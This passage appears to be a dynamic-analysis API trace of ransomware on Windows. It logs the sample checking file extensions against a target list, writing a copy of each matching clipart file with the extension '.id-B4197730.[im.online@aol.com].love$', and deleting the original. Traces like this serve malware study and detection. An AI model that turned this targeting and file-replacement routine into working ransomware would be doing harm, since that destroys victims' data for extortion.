[0264.037] lstrlenW (lpString=".pdf") returned 4 [0264.037] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.037] lstrlenW (lpString=".xls") returned 4 [0264.037] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.037] lstrlenW (lpString=".xlsx") returned 5 [0264.037] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0264.037] lstrlenW (lpString=".ppt") returned 4 [0264.037] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.037] lstrlenW (lpString=".zip") returned 4 [0264.037] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.037] lstrlenW (lpString=".rar") returned 4 [0264.037] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.037] lstrlenW (lpString=".bz2") returned 4 [0264.037] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.037] lstrlenW (lpString=".7z") returned 3 [0264.037] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.037] lstrlenW (lpString=".dbf") returned 4 [0264.037] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.037] lstrlenW (lpString=".1cd") returned 4 [0264.038] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0264.038] lstrlenW (lpString=".jpg") returned 4 [0264.038] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.038] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0264.038] lstrlenW (lpString="J0099153.WMF") returned 12 [0264.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0264.881] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13874) returned 1 [0264.881] CloseHandle (hObject=0x4c8) returned 1 [0264.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0264.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0265.107] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.108] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0265.113] GetLastError () returned 0x0 [0265.113] ReadFile (in: hFile=0x4e4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3632, lpOverlapped=0x0) returned 1 [0265.137] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3640, lpOverlapped=0x0) returned 1 [0265.139] ReadFile (in: hFile=0x4e4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.139] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.139] SetEndOfFile (hFile=0x580) returned 1 [0265.140] CloseHandle (hObject=0x580) returned 1 [0265.140] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.140] SetEndOfFile (hFile=0x4e4) returned 1 [0265.145] CloseHandle (hObject=0x4e4) returned 1 [0265.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.148] lstrlenW (lpString=".doc") returned 4 [0265.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.148] lstrlenW (lpString=".docx") returned 5 [0265.148] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.149] lstrlenW (lpString=".pdf") returned 4 [0265.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.149] lstrlenW (lpString=".xls") returned 4 [0265.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.149] lstrlenW (lpString=".xlsx") returned 5 [0265.149] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.149] lstrlenW (lpString=".ppt") returned 4 [0265.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.149] lstrlenW (lpString=".zip") returned 4 [0265.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.149] lstrlenW (lpString=".rar") returned 4 [0265.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.149] lstrlenW (lpString=".bz2") returned 4 [0265.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.149] lstrlenW (lpString=".7z") returned 3 [0265.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.149] lstrlenW (lpString=".dbf") returned 4 [0265.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.150] lstrlenW (lpString=".1cd") returned 4 [0265.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.150] lstrlenW (lpString=".jpg") returned 4 [0265.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.150] lstrlenW (lpString=".doc") returned 4 [0265.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.150] lstrlenW (lpString=".docx") returned 5 [0265.150] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.150] lstrlenW (lpString=".pdf") returned 4 [0265.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.150] lstrlenW (lpString=".xls") returned 4 [0265.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.150] lstrlenW (lpString=".xlsx") returned 5 [0265.150] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.150] lstrlenW (lpString=".ppt") returned 4 [0265.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.150] lstrlenW (lpString=".zip") returned 4 [0265.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.150] lstrlenW (lpString=".rar") returned 4 [0265.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.151] lstrlenW (lpString=".bz2") returned 4 [0265.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.151] lstrlenW (lpString=".7z") returned 3 [0265.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.151] lstrlenW (lpString=".dbf") returned 4 [0265.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.152] lstrlenW (lpString=".1cd") returned 4 [0265.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0265.152] lstrlenW (lpString=".jpg") returned 4 [0265.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.152] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0265.152] lstrlenW (lpString="J0099161.JPG") returned 12 [0265.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0265.154] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7154) returned 1 [0265.154] CloseHandle (hObject=0x4e4) returned 1 [0265.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0265.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0265.155] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.156] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0265.158] GetLastError () returned 0x0 [0265.158] ReadFile (in: hFile=0x4e4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0265.167] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0265.168] ReadFile (in: hFile=0x4e4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.168] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.169] SetEndOfFile (hFile=0x580) returned 1 [0266.121] CloseHandle (hObject=0x580) returned 1 [0266.160] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.160] SetEndOfFile (hFile=0x4e4) returned 1 [0266.165] CloseHandle (hObject=0x4e4) returned 1 [0266.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0266.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.863] lstrlenW (lpString=".doc") returned 4 [0266.863] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.888] lstrlenW (lpString=".docx") returned 5 [0266.888] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0266.888] lstrlenW (lpString=".pdf") returned 4 [0266.888] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.888] lstrlenW (lpString=".xls") returned 4 [0266.888] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.888] lstrlenW (lpString=".xlsx") returned 5 [0266.888] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0266.888] lstrlenW (lpString=".ppt") returned 4 [0266.888] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.888] lstrlenW (lpString=".zip") returned 4 [0266.888] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.888] lstrlenW (lpString=".rar") returned 4 [0266.888] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.888] lstrlenW (lpString=".bz2") returned 4 [0266.888] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.889] lstrlenW (lpString=".7z") returned 3 [0266.889] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.889] lstrlenW (lpString=".dbf") returned 4 [0266.889] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.889] lstrlenW (lpString=".1cd") returned 4 [0266.889] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.889] lstrlenW (lpString=".jpg") returned 4 [0266.889] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.889] lstrlenW (lpString=".doc") returned 4 [0266.889] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.889] lstrlenW (lpString=".docx") returned 5 [0266.889] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0266.889] lstrlenW (lpString=".pdf") returned 4 [0266.889] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.889] lstrlenW (lpString=".xls") returned 4 [0266.889] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.890] lstrlenW (lpString=".xlsx") returned 5 [0266.890] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0266.890] lstrlenW (lpString=".ppt") returned 4 [0266.890] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.890] lstrlenW (lpString=".zip") returned 4 [0266.890] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.890] lstrlenW (lpString=".rar") returned 4 [0266.890] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.890] lstrlenW (lpString=".bz2") returned 4 [0266.890] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.890] lstrlenW (lpString=".7z") returned 3 [0266.890] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.890] lstrlenW (lpString=".dbf") returned 4 [0266.890] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.890] lstrlenW (lpString=".1cd") returned 4 [0266.890] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0266.890] lstrlenW (lpString=".jpg") returned 4 [0266.890] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.891] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0266.891] lstrlenW (lpString="J0099168.JPG") returned 12 [0266.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0267.171] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20179) returned 1 [0267.171] CloseHandle (hObject=0x580) returned 1 [0267.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0267.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0267.173] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.173] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0267.175] GetLastError () returned 0x0 [0267.176] ReadFile (in: hFile=0x580, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0267.255] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0267.257] ReadFile (in: hFile=0x580, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.257] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0267.257] SetEndOfFile (hFile=0x550) returned 1 [0267.257] CloseHandle (hObject=0x550) returned 1 [0267.257] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.258] SetEndOfFile (hFile=0x580) returned 1 [0267.262] CloseHandle (hObject=0x580) returned 1 [0267.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0267.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.265] lstrlenW (lpString=".doc") returned 4 [0267.265] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0267.265] lstrlenW (lpString=".docx") returned 5 [0267.266] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0267.266] lstrlenW (lpString=".pdf") returned 4 [0267.266] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0267.266] lstrlenW (lpString=".xls") returned 4 [0267.266] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0267.266] lstrlenW (lpString=".xlsx") returned 5 [0267.266] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0267.266] lstrlenW (lpString=".ppt") returned 4 [0267.266] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0267.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.266] lstrlenW (lpString=".zip") returned 4 [0267.267] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0267.267] lstrlenW (lpString=".rar") returned 4 [0267.267] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0267.267] lstrlenW (lpString=".bz2") returned 4 [0267.267] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0267.267] lstrlenW (lpString=".7z") returned 3 [0267.267] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0267.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.267] lstrlenW (lpString=".dbf") returned 4 [0267.267] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0267.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.268] lstrlenW (lpString=".1cd") returned 4 [0267.268] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0267.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.268] lstrlenW (lpString=".jpg") returned 4 [0267.268] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0267.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0267.268] lstrlenW (lpString=".doc") returned 4 [0267.268] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0267.269] lstrlenW (lpString=".docx") returned 5 [0267.269] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0267.269] lstrlenW (lpString=".pdf") returned 4 [0267.269] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0267.269] lstrlenW (lpString=".xls") returned 4 [0267.269] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0267.269] lstrlenW (lpString=".xlsx") returned 5 [0267.269] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0267.269] lstrlenW (lpString=".ppt") returned 4 [0267.269] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0267.270] lstrlenW (lpString="C:\\Program Files\\Microsoft 